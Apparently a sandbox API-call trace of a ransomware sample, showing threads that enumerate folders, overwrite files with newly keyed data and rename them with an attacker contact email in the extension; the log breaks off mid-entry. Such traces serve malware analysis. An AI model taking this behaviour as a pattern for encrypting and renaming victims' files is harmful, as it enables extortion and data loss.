1 [0062.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0062.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0062.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402b58) returned 1 [0062.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x35) returned 0x4a6420 [0062.422] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.422] WriteFile (in: hFile=0x125c, lpBuffer=0x19b23008*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0xc62fae8, lpOverlapped=0x0 | out: lpBuffer=0x19b23008*, lpNumberOfBytesWritten=0xc62fae8*=0x119, lpOverlapped=0x0) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b23008) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6460) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8cd8) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6420) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c88) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0062.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0062.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d460 [0062.806] wcscpy (in: _Dest=0x12f4d460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" [0062.806] wcscat (in: _Dest=0x12f4d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d" [0062.807] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc62faa0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.807] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4620 [0062.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0062.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1d298) returned 1 [0062.854] NtQueryInformationFile (in: FileHandle=0x125c, IoStatusBlock=0xc62faac, FileInformation=0xc62fa84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc62faac, FileInformation=0xc62fa84) returned 0x0 [0062.854] NtSetInformationFile (FileHandle=0x125c, IoStatusBlock=0xc62faac, FileInformation=0xc62fa84, Length=0x28, FileInformationClass=0x4) returned 0x0 [0062.919] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d460) returned 1 [0062.919] FlushFileBuffers (hFile=0x125c) returned 1 [0066.194] CloseHandle (hObject=0x125c) Thread: id = 500 os_tid = 0xec0 [0049.291] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms")) returned 0x23 [0049.291] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x20) returned 1 [0064.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb60 [0064.366] GetFileSizeEx (in: hFile=0xb60, lpFileSize=0xc58ff14 | out: lpFileSize=0xc58ff14*=248) returned 1 [0064.366] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0xf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.366] ReadFile (in: hFile=0xb60, lpBuffer=0xc58fe98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc58fe94, lpOverlapped=0x0 | out: lpBuffer=0xc58fe98*, lpNumberOfBytesRead=0xc58fe94*=0x4, lpOverlapped=0x0) returned 1 [0064.367] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0064.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b70 [0064.367] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec97f0 [0064.367] NtQuerySystemTime (in: CurrentTime=0xc58fe74 | out: CurrentTime=0xc58fe74*=132174898283424000) returned 0x0 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x39792e9 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x2a3d31cb [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x16f5d96e [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x24e3444b [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x49026e3e [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0xaf0bca5 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x5dd43f5d [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x5153e5c9 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x44df3d6f [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x49a9111b [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x70ad1dac [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x78aabd [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x13d3e99c [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x694a84a7 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x6534a09e [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x79b80e06 [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x26b47c4d [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x4020ac4a [0064.367] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x4999e7c8 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x10bd7983 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x3b548307 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x2e3c6994 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x142aceeb [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x1c34c97e [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x47964fa6 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x59ab5ac3 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x40a0369d [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x14b9bc9e [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x37bccad7 [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x1340a2c [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x62de59b [0064.368] RtlRandomEx (in: Seed=0xc58fe80 | out: Seed=0xc58fe80) returned 0x2fcdcdf2 [0064.379] ReadFile (in: hFile=0xb60, lpBuffer=0x19a22168, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0xc58fe70, lpOverlapped=0x0 | out: lpBuffer=0x19a22168*, lpNumberOfBytesRead=0xc58fe70*=0xf8, lpOverlapped=0x0) returned 1 [0064.379] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.379] WriteFile (in: hFile=0xb60, lpBuffer=0x19a2e970*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0xc58fe6c, lpOverlapped=0x0 | out: lpBuffer=0x19a2e970*, lpNumberOfBytesWritten=0xc58fe6c*=0xf8, lpOverlapped=0x0) returned 1 [0065.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce758 [0065.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce708 [0065.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce708) returned 1 [0065.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a2e970) returned 1 [0065.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a22168) returned 1 [0065.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418f50) returned 1 [0065.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0065.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x43) returned 0x445090 [0065.491] SetFilePointerEx (in: hFile=0xb60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.491] WriteFile (hFile=0xb60, lpBuffer=0x12d7a2f8, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0xc58fed4, lpOverlapped=0x0) Thread: id = 501 os_tid = 0xec4 [0049.292] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact")) returned 0x20 [0049.292] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact", dwFileAttributes=0x20) returned 1 [0060.571] CreateFileW (lpFileName="C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x97c [0060.571] GetFileSizeEx (in: hFile=0x97c, lpFileSize=0xc2aff28 | out: lpFileSize=0xc2aff28*=68382) returned 1 [0060.571] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x10b1a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.571] ReadFile (in: hFile=0x97c, lpBuffer=0xc2afeac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc2afea8, lpOverlapped=0x0 | out: lpBuffer=0xc2afeac*, lpNumberOfBytesRead=0xc2afea8*=0x4, lpOverlapped=0x0) returned 1 [0060.572] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f08 [0060.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f80 [0060.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.573] NtQuerySystemTime (in: CurrentTime=0xc2afe88 | out: CurrentTime=0xc2afe88*=132174898245516000) returned 0x0 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x79dbd79 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x5aae331f [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x127f56e9 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0xed451db [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x25ec5489 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x75402958 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x7f2c563a [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0xc31f68e [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x4db428cf [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x228725d3 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x565f4746 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x78cb116 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x7e20b3ff [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x1a2f17ad [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x77bc4f53 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x4f162ce6 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x1fc06789 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x1983b4ad [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x1aa02ce9 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x67967c8 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x6fb73c2f [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x465bcef8 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x3f93ae59 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x5dda7fea [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x574a8502 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x7726d60 [0060.573] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x25ad1816 [0060.574] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x64a41aca [0060.574] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x7757f1cb [0060.574] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x1b2c646a [0060.574] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x53553225 [0060.574] RtlRandomEx (in: Seed=0xc2afe94 | out: Seed=0xc2afe94) returned 0x72372843 [0060.586] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.586] ReadFile (in: hFile=0x97c, lpBuffer=0x199730f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xc2afe68, lpOverlapped=0x0 | out: lpBuffer=0x199730f8*, lpNumberOfBytesRead=0xc2afe68*=0xc800, lpOverlapped=0x0) returned 1 [0060.587] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c7e0 [0060.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a858 [0060.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f08 [0060.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435f08) returned 1 [0060.588] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1997f900 [0060.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435f08 [0060.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435fa8) returned 1 [0060.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0060.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0060.592] WriteFile (in: hFile=0x97c, lpBuffer=0x1997f900*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xc2afe68, lpOverlapped=0x0 | out: lpBuffer=0x1997f900*, lpNumberOfBytesWritten=0xc2afe68*=0xc800, lpOverlapped=0x0) returned 1 [0066.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1997f900) returned 1 [0066.355] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199730f8) returned 1 [0066.356] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4a6360 [0066.356] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.356] WriteFile (hFile=0x97c, lpBuffer=0x44b8c0, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xc2afee8, lpOverlapped=0x0) Thread: id = 502 os_tid = 0xec8 [0049.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414830 [0049.292] wcscpy (in: _Dest=0x414830, _Source="C:\\Users\\Default\\Documents\\My Music" | out: _Dest="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0049.292] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0049.292] wcscat (in: _Dest=0x414830, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Music\\*") returned="C:\\Users\\Default\\Documents\\My Music\\*" [0049.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459f00 [0049.293] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459f00) returned 1 [0049.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414830) returned 1 [0049.296] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444e60) returned 1 Thread: id = 503 os_tid = 0xecc [0049.296] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44a670 [0049.296] wcscpy (in: _Dest=0x44a670, _Source="C:\\Users\\Default\\Documents\\My Pictures" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0049.296] wcscat (in: _Dest=0x44a670, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0049.296] wcscat (in: _Dest=0x44a670, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Pictures\\*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*" [0049.297] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459f00 [0049.297] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.299] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459f00) returned 1 [0049.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a670) returned 1 [0049.300] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4143b8) returned 1 Thread: id = 504 os_tid = 0xed0 [0049.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x4143b8 [0049.301] wcscpy (in: _Dest=0x4143b8, _Source="C:\\Users\\Default\\Documents\\My Videos" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0049.301] wcscat (in: _Dest=0x4143b8, _Source="\\" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0049.301] wcscat (in: _Dest=0x4143b8, _Source="*" | out: _Dest="C:\\Users\\Default\\Documents\\My Videos\\*") returned="C:\\Users\\Default\\Documents\\My Videos\\*" [0049.301] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459f00 [0049.301] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.304] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459f00) returned 1 [0049.304] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4143b8) returned 1 [0049.304] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414410) returned 1 Thread: id = 505 os_tid = 0xed4 [0049.304] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e46958 [0049.304] wcscpy (in: _Dest=0x5e46958, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0049.305] wcscat (in: _Dest=0x5e46958, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0049.305] wcscat (in: _Dest=0x5e46958, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*" [0049.305] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459f00 [0049.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409e68 [0049.830] wcscmp (_String1=".", _String2=".") returned 0 [0049.830] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.212] wcscmp (_String1="..", _String2=".") returned 1 [0051.212] wcscmp (_String1="..", _String2="..") returned 0 [0051.212] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.212] wcscmp (_String1="1033", _String2=".") returned 1 [0051.212] wcscmp (_String1="1033", _String2="..") returned 1 [0051.212] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed5508 [0051.212] wcscpy (in: _Dest=0x5ed5508, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0051.212] wcscat (in: _Dest=0x5ed5508, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0051.212] wcscat (in: _Dest=0x5ed5508, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0066.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ed5508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0066.546] FindNextFileW (in: hFindFile=0x409e68, lpFindFileData=0x459f00 | out: lpFindFileData=0x459f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, 